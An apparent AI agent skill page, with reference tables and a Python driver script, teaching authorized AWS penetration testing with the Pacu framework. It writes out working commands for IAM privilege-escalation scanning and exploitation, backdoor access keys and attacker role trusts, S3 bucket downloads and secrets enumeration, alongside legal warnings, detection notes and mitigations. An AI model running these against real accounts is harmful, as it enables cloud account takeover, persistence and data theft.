npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
NIST CSF 2.0
Legal Notice: This skill is for authorized penetration testing and educational purposes only. Pacu performs active enumeration, privilege escalation, persistence, and backdooring against live AWS accounts. Run it ONLY against accounts you own or have explicit written authorization (scope/Rules of Engagement) to test. Many modules create durable changes (new IAM users, access keys, policies); track and remove everything. Unauthorized use is illegal under the CFAA and equivalent laws.
Overview
Pacu is the open-source AWS exploitation framework from Rhino Security Labs. It is the cloud-pentest analogue of Metasploit: a modular Python console that manages target sessions, enumerates an AWS account, identifies privilege-escalation paths, and executes persistence/backdooring/exfiltration modules — all backed by a local SQLite database that records every enumerated resource so modules can chain off one another's findings.
A Pacu engagement follows a consistent arc. You create a named session, load AWS keys (with set_keys or by importing from ~/.aws/credentials), confirm the identity with whoami, then enumerate IAM and the rest of the account. The flagship workflow is iam__enum_permissions followed by iam__privesc_scan, which checks the compromised principal against ~20 known AWS IAM privilege-escalation primitives (e.g. iam:CreatePolicyVersion, iam:AttachUserPolicy, iam:PassRole + lambda:CreateFunction, sts:AssumeRole) and can auto-exploit them. Persistence modules such as iam__backdoor_users_keys mint a second access key on an existing user, and iam__backdoor_assume_role adds a trust to a role so the attacker can assume it later.
This skill covers installing Pacu, session and credential management, IAM enumeration, automated privilege-escalation scanning and exploitation, persistence/backdooring, and data access — every command and module name verified against the Rhino Security Labs project. Source: github.com/RhinoSecurityLabs/pacu.
When to Use
- Conducting an authorized AWS cloud penetration test or red-team engagement
- Assessing the blast radius of a single compromised IAM credential (privesc scanning)
- Demonstrating persistence/backdoor techniques to drive remediation
- Generating realistic attacker telemetry to test cloud detections (purple team)
- Mapping an unfamiliar AWS account's IAM, EC2, S3, and Lambda exposure
Prerequisites
- Pacu installed:
python3 -m pip install -U pip python3 -m pip install -U pacu # then run: pacu # or, preferred on Kali, with pipx: pipx install git+https://github.com/RhinoSecurityLabs/pacu.git # or Docker: docker run -it rhinosecuritylabs/pacu:latest - AWS access key/secret (and optional session token) for the in-scope target principal
- A signed authorization / Rules of Engagement document defining scope
- Python 3.9+ and outbound HTTPS to AWS API endpoints
- AWS CLI installed for verification (
aws sts get-caller-identity)
Objectives
- Install Pacu and create an isolated engagement session
- Load and validate target AWS credentials
- Enumerate IAM permissions for the compromised principal
- Identify and (where authorized) exploit privilege-escalation paths
- Establish persistence via backdoor access keys and role trusts
- Enumerate and access data in EC2, S3, and Secrets Manager
- Export findings for reporting and ensure all artifacts are removed
MITRE ATT&CK Mapping
| ID | Name | Use in this skill |
|---|---|---|
| T1078.004 | Valid Accounts: Cloud Accounts | Pacu operates as a valid AWS principal and abuses its permissions |
| T1098.001 | Account Manipulation: Additional Cloud Credentials | iam__backdoor_users_keys mints a second access key |
| T1098.003 | Account Manipulation: Additional Cloud Roles | iam__backdoor_assume_role / privesc via role policy changes |
| T1580 | Cloud Infrastructure Discovery | ec2__enum, iam__enum_users_roles_policies_groups |
| T1530 | Data from Cloud Storage | s3__download_bucket retrieves S3 objects |
| T1552.005 | Unsecured Credentials: Cloud Instance Metadata API | EC2 IMDS credential abuse |
Workflow
1. Launch Pacu and create a session
pacu
# In the Pacu console:
Pacu> set_keys
# key alias : engagement-target
# access key : AKIA...
# secret key : ...
# session tok: (optional)2. Confirm the identity you are operating as
Pacu> whoami
Pacu> run aws sts get-caller-identity # or, outside Pacu: aws sts get-caller-identity3. Enumerate IAM entities and the compromised principal's permissions
Pacu> run iam__enum_users_roles_policies_groups
Pacu> run iam__enum_permissions
Pacu> data IAM # review what was collected into the session DB4. Scan for privilege-escalation paths
iam__privesc_scan checks the principal against known AWS privesc primitives and lists viable methods.
Pacu> run iam__privesc_scan
# To attempt automated exploitation of a discovered method:
Pacu> run iam__privesc_scan --offline # analyze without making changes5. Establish persistence with a backdoor access key
Pacu> run iam__backdoor_users_keys --usernames target-user
# Add an assumable-role trust for long-term access:
Pacu> run iam__backdoor_assume_role --role-names target-role --user-arns arn:aws:iam::111122223333:user/attacker6. Enumerate compute and storage
Pacu> run ec2__enum
Pacu> run s3__download_bucket --names target-bucket
Pacu> data S37. Harvest secrets
Pacu> run secrets__enum8. Non-interactive execution (CI / scripted)
Pacu supports one-shot module execution from the shell.
pacu --session engagement --module-name iam__enum_users_roles_policies_groups --exec
pacu --session engagement --module-name s3__download_bucket \
--module-args "--names target-bucket" --exec9. Export findings and clean up
Pacu> data all > /dev/stdout # review collected data
# Manually remove every backdoor created (record ARNs/key IDs first):aws iam delete-access-key --user-name target-user --access-key-id AKIA_BACKDOOR
aws iam update-assume-role-policy --role-name target-role --policy-document file://original-trust.jsonSee scripts/agent.py to drive the enumerate->privesc flow non-interactively.
Tools and Resources
| Resource | Purpose | Link |
|---|---|---|
| Pacu GitHub | Source, modules, wiki | https://github.com/RhinoSecurityLabs/pacu |
| Pacu module list | Per-module documentation | https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details |
| Rhino AWS privesc research | The privesc primitives iam__privesc_scan checks |
https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ |
| AWS IAM docs | Permission and policy reference | https://docs.aws.amazon.com/IAM/latest/UserGuide/ |
| CloudGoat | Vulnerable AWS lab to practice safely | https://github.com/RhinoSecurityLabs/cloudgoat |
OPSEC and Detection Considerations
Pacu modules are noisy and durable; an operator must plan for both detection and cleanup:
iam__enum_permissionsandiam__enum_users_roles_policies_groupsgenerate a large burst ofiam:List*/iam:Get*calls visible in CloudTrail and GuardDuty (Discovery:IAMUser/AnomalousBehavior).iam__privesc_scanin non-offline mode can make state-changing calls (iam:CreatePolicyVersion,iam:AttachUserPolicy); use--offlinefor analysis only.iam__backdoor_users_keystriggersiam:CreateAccessKey, andiam__backdoor_assume_roletriggersiam:UpdateAssumeRolePolicy— both are high-signal persistence indicators that defenders alert on.- Record every artifact ID (access keys, policy versions, role-trust changes) so each can be reverted; orphaned backdoors are both an OPSEC failure and a real risk to the client.
Defensive Mitigations to Recommend
| Finding | Remediation |
|---|---|
| Over-permissive IAM principal (privesc path) | Apply least privilege; scope iam:PassRole with conditions |
iam:CreatePolicyVersion / SetDefaultPolicyVersion allowed |
Remove from non-admin roles |
| Long-lived access keys | Enforce key rotation; prefer roles / short-lived STS creds |
| No detection on key creation | Alert on CreateAccessKey / UpdateAssumeRolePolicy in CloudTrail |
Key Module Reference
| Module | Purpose |
|---|---|
iam__enum_users_roles_policies_groups |
Enumerate all IAM principals and policies |
iam__enum_permissions |
Resolve the current principal's effective permissions |
iam__privesc_scan |
Identify (and optionally exploit) privesc paths |
iam__backdoor_users_keys |
Create a backdoor access key on a user |
iam__backdoor_assume_role |
Add an attacker-controlled trust to a role |
ec2__enum |
Enumerate EC2 instances, volumes, snapshots |
s3__download_bucket |
Download objects from an S3 bucket |
secrets__enum |
Enumerate Secrets Manager / SSM parameters |
Validation Criteria
- Pacu installed and console launches
- Engagement session created and keys loaded
- Identity confirmed with
whoami/sts get-caller-identity - IAM entities and current-principal permissions enumerated
-
iam__privesc_scanrun and viable paths documented - Persistence module behavior demonstrated (in authorized scope)
- EC2/S3/secrets enumeration completed
- All created backdoors (keys, role trusts, policies) recorded and removed
- Findings exported for the engagement report
- No residual attacker artifacts remain in the account
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 2
api-reference.md2.5 KB
Pacu — Command and Module Reference
Console Commands
| Command | Description |
|---|---|
set_keys |
Add/update AWS keys for the active session |
swap_keys |
Switch between stored key sets in the session |
import_keys <profile> |
Import keys from ~/.aws/credentials (use --all for every profile) |
whoami |
Show the active principal and key details |
ls / list |
List available modules |
search <term> |
Search modules by name/keyword |
help <module> |
Show a module's help and arguments |
run <module> [args] |
Execute a module (alias: exec) |
data <service|all> |
Query enumerated data from the session DB |
services |
List services with collected data |
regions |
Show / set in-scope AWS regions (set_regions) |
sessions / swap_session |
Manage multiple engagement sessions |
exit / quit |
Leave the console |
Non-Interactive (shell) Flags
| Flag | Description |
|---|---|
--session <name> |
Select/create the session |
--module-name <module> |
Module to run |
--module-args "<args>" |
Arguments passed to the module |
--exec |
Run the module immediately and exit |
--set-regions <r1 r2> |
Constrain regions |
Key Modules
| Module | Category | Purpose |
|---|---|---|
iam__enum_users_roles_policies_groups |
Recon | Enumerate all IAM principals/policies |
iam__enum_permissions |
Recon | Resolve current principal's effective permissions |
iam__privesc_scan |
Privesc | Detect/exploit privilege-escalation paths |
iam__backdoor_users_keys |
Persistence | Create backdoor access key on a user |
iam__backdoor_assume_role |
Persistence | Add attacker trust to a role |
ec2__enum |
Recon | Enumerate EC2 instances/volumes/snapshots |
ec2__startup_shell_script |
Exec | Inject user-data startup script |
s3__download_bucket |
Exfil | Download S3 bucket objects |
secrets__enum |
Credential Access | Enumerate Secrets Manager / SSM secrets |
lambda__enum |
Recon | Enumerate Lambda functions and configs |
Common privesc primitives checked by iam__privesc_scan
iam:CreatePolicyVersion, iam:SetDefaultPolicyVersion, iam:AttachUserPolicy,
iam:AttachGroupPolicy, iam:AttachRolePolicy, iam:PutUserPolicy,
iam:CreateAccessKey, iam:UpdateLoginProfile, iam:PassRole + lambda:CreateFunction,
iam:PassRole + ec2:RunInstances, sts:AssumeRole, glue:CreateDevEndpoint,
cloudformation:CreateStack + iam:PassRole.
standards.md1.3 KB
Standards and Framework Mapping
NIST Cybersecurity Framework 2.0
| ID | Name | Rationale |
|---|---|---|
| PR.AA-05 | Access permissions, entitlements, and authorizations are defined, managed, enforced, and reviewed | Pacu privesc scanning demonstrates where IAM entitlements are over-permissive and exploitable, driving least-privilege remediation. |
MITRE ATT&CK (Enterprise / Cloud)
| ID | Name | Rationale |
|---|---|---|
| T1078.004 | Valid Accounts: Cloud Accounts | Pacu operates as a valid AWS principal abusing its granted permissions. |
| T1098.001 | Account Manipulation: Additional Cloud Credentials | iam__backdoor_users_keys adds a second access key for persistence. |
| T1098.003 | Account Manipulation: Additional Cloud Roles | Role-trust backdoors and privesc via policy modification. |
| T1580 | Cloud Infrastructure Discovery | EC2/IAM enumeration modules. |
| T1530 | Data from Cloud Storage | S3 bucket download. |
| T1552.005 | Unsecured Credentials: Cloud Instance Metadata API | Exploitation of EC2 IMDS-derived credentials. |
Supporting References
- Pacu — https://github.com/RhinoSecurityLabs/pacu
- AWS IAM Privilege Escalation methods — https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- NIST CSF 2.0 — https://www.nist.gov/cyberframework
Scripts 1
agent.py4.3 KB
#!/usr/bin/env python3
"""
Pacu engagement driver.
Runs the standard AWS recon -> privesc-scan flow non-interactively via the Pacu
CLI (`pacu --session ... --module-name ... --exec`), then summarizes results from
the session SQLite database. Optionally exports collected data to JSON.
Authorized-use only: this performs active enumeration against a live AWS account.
Run ONLY within a signed scope/Rules of Engagement.
Examples:
python agent.py --session engagement --recon
python agent.py --session engagement --privesc
python agent.py --session engagement --recon --privesc --export findings.json
"""
import argparse
import json
import os
import shutil
import sqlite3
import subprocess
import sys
RECON_MODULES = [
"iam__enum_users_roles_policies_groups",
"iam__enum_permissions",
"ec2__enum",
"s3__enum",
]
PRIVESC_MODULES = ["iam__privesc_scan"]
def require_pacu():
if shutil.which("pacu") is None:
sys.exit("error: 'pacu' not found in PATH. Install with: pip install pacu")
def run_module(session, module, module_args=None):
cmd = ["pacu", "--session", session, "--module-name", module, "--exec"]
if module_args:
cmd += ["--module-args", module_args]
print(f"[*] running {module} ...")
try:
proc = subprocess.run(cmd, text=True, timeout=1800)
except subprocess.TimeoutExpired:
print(f" [!] {module} timed out")
return False
except OSError as exc:
print(f" [!] failed to run {module}: {exc}")
return False
if proc.returncode != 0:
print(f" [!] {module} exited rc={proc.returncode}")
return proc.returncode == 0
def locate_db():
"""Pacu stores its sqlite DB under the install dir or ~/.local/share/pacu."""
candidates = [
os.path.expanduser("~/.local/share/pacu/sqlite.db"),
os.path.expanduser("~/.pacu/sqlite.db"),
]
for path in candidates:
if os.path.isfile(path):
return path
return None
def export_session(session, out_path):
db = locate_db()
if not db:
print("[!] could not locate Pacu sqlite.db; skipping export")
return
try:
conn = sqlite3.connect(db)
conn.row_factory = sqlite3.Row
cur = conn.cursor()
cur.execute("SELECT name FROM sqlite_master WHERE type='table'")
tables = [r[0] for r in cur.fetchall()]
dump = {"session": session, "tables": {}}
for t in tables:
try:
cur.execute(f"SELECT * FROM {t} LIMIT 500")
dump["tables"][t] = [dict(r) for r in cur.fetchall()]
except sqlite3.Error:
continue
conn.close()
except sqlite3.Error as exc:
print(f"[!] could not read Pacu DB: {exc}")
return
with open(out_path, "w", encoding="utf-8") as fh:
json.dump(dump, fh, indent=2, default=str)
print(f"[+] exported session data to {out_path}")
def main():
p = argparse.ArgumentParser(description="Pacu AWS engagement driver")
p.add_argument("--session", required=True, help="Pacu session name")
p.add_argument("--recon", action="store_true", help="run recon/enumeration modules")
p.add_argument("--privesc", action="store_true", help="run privilege-escalation scan")
p.add_argument("--module", action="append", default=[],
help="run an explicit module (repeatable)")
p.add_argument("--module-args", help="args for the explicit --module call")
p.add_argument("--export", metavar="FILE", help="export session DB to JSON")
args = p.parse_args()
require_pacu()
if not (args.recon or args.privesc or args.module):
sys.exit("error: choose at least one of --recon / --privesc / --module")
print("[!] AUTHORIZED USE ONLY — confirm this AWS account is in scope.")
results = {}
if args.recon:
for m in RECON_MODULES:
results[m] = run_module(args.session, m)
if args.privesc:
for m in PRIVESC_MODULES:
results[m] = run_module(args.session, m)
for m in args.module:
results[m] = run_module(args.session, m, args.module_args)
print("\n=== Module run summary ===")
for m, ok in results.items():
print(f" {m}: {'OK' if ok else 'FAILED'}")
if args.export:
export_session(args.session, args.export)
if __name__ == "__main__":
main()